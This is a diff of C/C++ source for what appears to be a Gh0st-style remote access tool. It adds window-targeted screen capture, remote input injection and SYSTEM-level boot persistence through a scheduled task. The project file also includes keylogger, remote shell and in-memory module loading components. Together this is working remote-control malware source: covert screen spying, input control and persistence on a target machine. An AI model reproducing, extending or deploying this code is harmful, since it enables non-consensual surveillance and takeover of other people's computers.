Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
}
} else {
m_isGDI = TRUE;
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen);
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel, rect, switchScreen, m_hTargetWnd, m_bDynamicForeground);
}
// 用已保存的质量配置初始化码率,避免 CMD_QUALITY_LEVEL 到达时 0→3000 触发不必要重启
if (m_ScreenSpyObject && level >= 0 && level < QUALITY_COUNT) {
m_ScreenSpyObject->SetBitRate(m_QualityProfiles[level].bitRate);
}
}
@@ -640,10 +667,14 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
if (!This->IsConnected() && This->m_bIsWorking) This->OnReconnect();
if (!This->IsConnected()) continue;
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
// 窗口捕获模式下目标窗口最小化时跳过首帧,等窗口恢复后再发
HWND _targetWnd = This->m_ScreenSpyObject ? This->m_ScreenSpyObject->GetTargetWindow() : NULL;
if (!_targetWnd || !IsIconic(_targetWnd)) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->IsRunAsService() && !This->m_virtual) {
@@ -698,6 +729,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
}
This->SendNextScreen(szBuffer, ulNextSendLength);
}
// 窗口捕获:尺寸变化时在工作线程内原地重建,无需跨线程同步
if (This->m_ScreenSpyObject && This->m_ScreenSpyObject->m_bNeedRestart) {
// 动态前景模式切换了新窗口:把新 HWND 同步回 CScreenManager
// 否则 InitScreenSpy 会沿用旧 HWND导致无限重建循环
if (This->m_ScreenSpyObject->m_NextTargetWnd)
This->m_hTargetWnd = This->m_ScreenSpyObject->m_NextTargetWnd;
SAFE_DELETE(This->m_ScreenSpyObject);
This->InitScreenSpy();
This->m_SendFirst = FALSE; // 触发重发 BitmapInfo + 首帧
}
}
timeEndPeriod(1);
Mprintf("ScreenWorkThread Exit\n");
@@ -759,7 +800,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
// 发送目录并准备接收文件
int len = 1 + folder.length() + files.length() + 1;
char* cmd = new char[len];
@@ -823,6 +864,17 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ClientObject->StopRunning();
break;
}
case COMMAND_SCREEN_SIGNATURE: {
SignatureResp resp = { 0 };
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
}
break;
}
case COMMAND_SCREEN_ROI:{
if (ulLength > sizeof(RECT)) {
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
@@ -831,6 +883,33 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
break;
}
case COMMAND_SCREEN_WINDOW: {
// [mode:1][data] — mode=0x00 按标题, mode=0x01 按 HWND(uint64_t), 其余=恢复全屏
BYTE mode = (ulLength > 1) ? szBuffer[1] : 0xFF;
if (mode == 0x00 && ulLength > 2) {
char title[512] = {};
int titleLen = ulLength - 2;
if (titleLen > (int)sizeof(title) - 1) titleLen = (int)sizeof(title) - 1;
memcpy(title, szBuffer + 2, titleLen);
m_hTargetWnd = title[0] ? FindWindowA(NULL, title) : NULL;
Mprintf("[CScreenManager] 窗口捕获(标题): '%s' -> HWND=%p\n", title, m_hTargetWnd);
} else if (mode == 0x01 && ulLength >= 2 + sizeof(uint64_t)) {
uint64_t val = 0;
memcpy(&val, szBuffer + 2, sizeof(uint64_t));
m_hTargetWnd = (HWND)(UINT_PTR)val;
Mprintf("[CScreenManager] 窗口捕获(HWND): 0x%llx -> HWND=%p\n", val, m_hTargetWnd);
} else {
m_hTargetWnd = NULL;
m_bDynamicForeground = false;
// 防止 RestartScreen→InitScreenSpy 重新读取旧 HWND 再次进入窗口模式
if (m_pUserParam && m_pUserParam->length >= 3 + (int)sizeof(uint64_t)) {
memset(m_pUserParam->buffer + 3, 0, sizeof(uint64_t));
}
Mprintf("[CScreenManager] 窗口捕获取消,恢复全屏\n");
}
RestartScreen();
break;
}
case COMMAND_ENCODE_LEVEL: {
int encodeLevel = szBuffer[1];
iniFile cfg(CLIENT_PATH);
@@ -857,6 +936,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_ScreenSettings.RemoteCursor = remoteCursor;
break;
}
case CMD_CUSTOM_CURSOR: {
int CustomCursor = szBuffer[1];
iniFile cfg(CLIENT_PATH);
cfg.SetInt("settings", "CustomCursor", CustomCursor);
m_ScreenSettings.CustomCursor = CustomCursor;
break;
}
case CMD_MULTITHREAD_COMPRESS: {
int threadNum = szBuffer[1];
m_ClientObject->SetMultiThreadCompress(threadNum);
@@ -1640,11 +1726,15 @@ bool IsExtendedKey(WPARAM vKey)
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG6428 字节 MSG32 仅为兼容
// 老 32 位控制端。二者长度的最小公倍数是 336=7×48=12×28批量注入如 MCP 远程
// 控制的 type/拖拽)时若先判 %28会把 7 的整数倍条 MSG64 误判成 MSG32字段错位导致
// 输入错乱甚至吞掉按键;故先判 %48仅当不整除 48 才回落到 28。
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
msgSize = 48;
else if (ulLength % 28 == 0) // 32位控制端发过来的消息兼容
msgSize = 28;
else return; // 数据包不合法
// 命令个数
@@ -2047,9 +2137,13 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
}
}
// 窗口捕获模式:只能查看,不能控制
if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) {
return;
// 窗口捕获模式:点击前先将目标窗口置前,确保 SendInput 落到正确的窗口上
if (m_ScreenSpyObject) {
HWND hwndTarget = m_ScreenSpyObject->GetTargetWindow();
if (hwndTarget && IsWindow(hwndTarget) && !IsIconic(hwndTarget)) {
if (!SetForegroundWindow(hwndTarget))
return; // UIPI 等原因置前失败,不向错误窗口注入输入
}
}
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {

View File

@@ -64,6 +64,8 @@ public:
BOOL m_bIsWorking;
BOOL m_bIsBlockInput;
RECT m_ROI = {0};
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧自动跟踪前景窗口HWND sentinel=-1触发
BOOL m_SwitchScreen = TRUE;
BOOL SendClientClipboard(BOOL fast);
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);

View File

@@ -12,12 +12,35 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
RECT rc, BOOL switchScreen) :
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
{
m_hTargetWnd = hwnd;
m_bDynamicForeground = dynamicFg;
m_GOP = gop;
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
if (hwnd) {
RECT wndRc = {}, frameRc = {};
GetWindowRect(hwnd, &wndRc);
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
m_ShadowLeft = frameRc.left - wndRc.left;
m_ShadowTop = frameRc.top - wndRc.top;
} else {
frameRc = wndRc;
}
m_ulFullWidth = frameRc.right - frameRc.left;
m_ulFullHeight = frameRc.bottom - frameRc.top;
m_CachedWndW = wndRc.right - wndRc.left;
m_CachedWndH = wndRc.bottom - wndRc.top;
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
m_iScreenY = frameRc.top;
m_bZoomed = false;
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
}
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
iniFile cfg(CLIENT_PATH);
@@ -122,10 +145,19 @@ CScreenSpy::~CScreenSpy()
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
if (m_hTargetWnd && IsIconic(m_hTargetWnd)) {
*ulFirstScreenLength = 0;
return nullptr;
}
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
// H264/AV1不发原始位图IDR 到达后服务端自行解锁;节省每次切窗口的流量峰值
if (m_bAlgorithm == ALGORITHM_H264) {
*ulFirstScreenLength = 0;
return nullptr;
}
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) {
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
@@ -138,13 +170,18 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
if (m_hTargetWnd || m_bDynamicForeground) {
if (m_bDynamicForeground && !UpdateDynamicForeground()) return;
if (IsIconic(m_hTargetWnd)) return;
if (!CheckWindowResize()) return;
CaptureWindowContent(hdcDest, hdcSour, ulWidth, ulHeight);
return;
}
if (m_bVirtualPaint) {
// 先用深色填充背景,避免窗口移动时留下残影
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30));
FillRect(hdcDest, &rcFill, hBrush);
DeleteObject(hBrush);
int n = 0;
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
@@ -156,18 +193,99 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
#if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
#else
const ULONG ulJumpLine = 50;
const ULONG ulJumpSleep = ulJumpLine / 10;
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
ULONG ulv1 = ulHeight - i;
if (ulv1 > ulJumpLine)
ulToJump = ulJumpLine;
else
ulToJump = ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
const ULONG ulJumpLine = 50;
const ULONG ulJumpSleep = ulJumpLine / 10;
for (int i = 0, ulToJump = 0; i < (int)ulHeight; i += ulToJump) {
ULONG ulv1 = ulHeight - i;
ulToJump = (ulv1 > ulJumpLine) ? ulJumpLine : ulv1;
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour, 0, i, SRCCOPY);
Sleep(ulJumpSleep);
}
#endif
}
// 每帧跟踪前景窗口;切换时尺寸相同直接复用,尺寸不同触发重建
// 返回 false 表示本帧跳过(冻结)
bool CScreenSpy::UpdateDynamicForeground()
{
HWND fg = GetForegroundWindow();
if (fg && fg != m_hTargetWnd) {
RECT wndRc = {}, frameRc = {};
GetWindowRect(fg, &wndRc);
frameRc = wndRc;
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
// 尺寸不同:让 WorkThread 重建m_NextTargetWnd 传递新 HWND
m_NextTargetWnd = fg;
m_bNeedRestart = true;
return false;
}
// 尺寸相同:直接切换,更新阴影偏移缓存,无需重建
m_ShadowLeft = frameRc.left - wndRc.left;
m_ShadowTop = frameRc.top - wndRc.top;
m_CachedWndW = wndRc.right - wndRc.left;
m_CachedWndH = wndRc.bottom - wndRc.top;
m_PendingWndW = m_PendingWndH = 0;
m_hTargetWnd = fg;
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
}
return m_hTargetWnd != NULL; // NULL=无前景窗口,冻结上一帧
}
// 检测窗口 resizeGetWindowRect 每帧调用DWM 查询仅在尺寸稳定 300ms 后触发
// 同时更新 m_iScreenX/Y窗口移动时坐标同步返回 false 表示本帧跳过
bool CScreenSpy::CheckWindowResize()
{
static const DWORD RESIZE_DEBOUNCE_MS = 300;
RECT fullRc = {};
GetWindowRect(m_hTargetWnd, &fullRc);
m_iScreenX = fullRc.left + m_ShadowLeft;
m_iScreenY = fullRc.top + m_ShadowTop;
int w = fullRc.right - fullRc.left;
int h = fullRc.bottom - fullRc.top;
if (w == m_CachedWndW && h == m_CachedWndH)
return true;
// 尺寸有变化:更新防抖记录
if (w != m_PendingWndW || h != m_PendingWndH) {
m_PendingWndW = w;
m_PendingWndH = h;
m_SizeChangeTick = GetTickCount();
}
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
return false; // 尚未稳定,冻结等待
// 稳定 300ms查询 DWM 真实帧边界,决定是否重建
RECT frameRc = fullRc;
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
m_ShadowLeft = frameRc.left - fullRc.left;
m_ShadowTop = frameRc.top - fullRc.top;
} else {
m_ShadowLeft = m_ShadowTop = 0;
}
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d触发重建\n",
m_ulFullWidth, m_ulFullHeight,
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
m_bNeedRestart = true;
return false;
}
m_CachedWndW = w;
m_CachedWndH = h;
return true;
}
// 前景模式直接 BitBlt零闪烁指定窗口模式用 PrintWindow处理遮挡
void CScreenSpy::CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{
if (m_bDynamicForeground) {
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
} else {
HDC hTmp = m_data.GetWindowDC();
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
if (PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT))
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
SelectObject(hTmp, hOld);
}
}

View File

@@ -95,10 +95,25 @@ protected:
BOOL m_bVirtualPaint;// 是否虚拟绘制
EnumHwndsPrintData m_data;
HWND m_hTargetWnd = NULL; // 窗口捕获目标NULL=全屏)
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
int m_ShadowLeft = 0; // DWM 阴影左偏移frameRc.left - fullRc.left帧间缓存
int m_ShadowTop = 0; // DWM 阴影上偏移frameRc.top - fullRc.top帧间缓存
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
DWORD m_SizeChangeTick = 0; // 防抖尺寸上次变化的时间戳GetTickCount
public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
virtual ~CScreenSpy();
@@ -251,6 +266,14 @@ public:
m_hDeskTopDC = GetDC(NULL);
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
}
private:
// 前景跟踪:切换或尺寸变化时更新 m_hTargetWnd返回 false 表示本帧冻结
bool UpdateDynamicForeground();
// 防抖 + 重建检测:更新 m_iScreenX/Y返回 false 表示本帧冻结
bool CheckWindowResize();
// 执行实际像素拷贝BitBlt 或 PrintWindow
void CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
};
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)

View File

@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,6
FILEVERSION 1,0,3,9
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.6"
VALUE "FileVersion", "1.0.3.9"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"

View File

@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);

Binary file not shown.

View File

@@ -78,7 +78,7 @@
<IntDir>$(Platform)\$(Configuration)\test</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(IncludePath)</IncludePath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\test</IntDir>
</PropertyGroup>
@@ -168,6 +168,7 @@
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
@@ -177,6 +178,7 @@
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>

View File

@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
bool CX264Encoder::open(x264_param_t * param)
{
// x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截
if (param->i_width < 2 || param->i_height < 2) return false;
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));

View File

@@ -185,6 +185,7 @@
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
@@ -201,6 +202,7 @@
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
@@ -213,6 +215,7 @@
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
@@ -232,6 +235,7 @@
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
@@ -251,6 +255,7 @@
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="my_clip.h" />
<ClInclude Include="proxy\ProxyManager.h" />
@@ -265,6 +270,7 @@
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />

View File

@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
} else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
if (threadHandle) {
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
TerminateThread(threadHandle, 0x20250619);
}
}
return TRUE;
}

View File

@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
}
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
if (SUCCEEDED(hr)) {
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
if (SUCCEEDED(hr)) {
// 普通用户需要指定具体用户
if (!runasAdmin) {
if (!systemBoot && !runasAdmin) {
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
if (SUCCEEDED(hr)) {
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
// 权限配置
IPrincipal* pPrincipal = NULL;
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (systemBoot)
{
BSTR sys = SysAllocString(L"SYSTEM");
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
if (FAILED(hr))
Mprintf("put_UserId失败:%ld\n", hr);
SysFreeString(sys);
}
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
pPrincipal->lpVtbl->Release(pPrincipal);
} else {
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
runasAdmin ? vUser : empty,
systemBoot ? empty : (runasAdmin ? vUser : empty),
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
empty,
&pRegisteredTask
);
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
return isAdmin;
}
BOOL IsSystem()
{
HANDLE token = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return FALSE;
DWORD size = 0;
GetTokenInformation(token, TokenUser, NULL, 0, &size);
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
if (!user) { CloseHandle(token); return FALSE; }
BOOL result = FALSE;
if (GetTokenInformation(token, TokenUser, user, size, &size))
{
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID systemSid = NULL;
AllocateAndInitializeSid(&nt, 1,
SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0,
&systemSid);
result = EqualSid(user->User.Sid, systemSid);
FreeSid(systemSid);
}
free(user);
CloseHandle(token);
return result;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
SHELLEXECUTEINFOA shExecInfo;
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
return folder;
}
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
{
#ifdef _DEBUG
return 1;
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
BOOL isAdmin = IsRunningAsAdmin();
if (isAdmin) runasAdmin = true;
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
bool bootRun = false;
if (isAdmin) {
bootRun = runasAdmin == 2;
runasAdmin = true;
}
if (_stricmp(curFile, dstFile) != 0) {
if (!isAdmin) {
if (runasAdmin) {
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
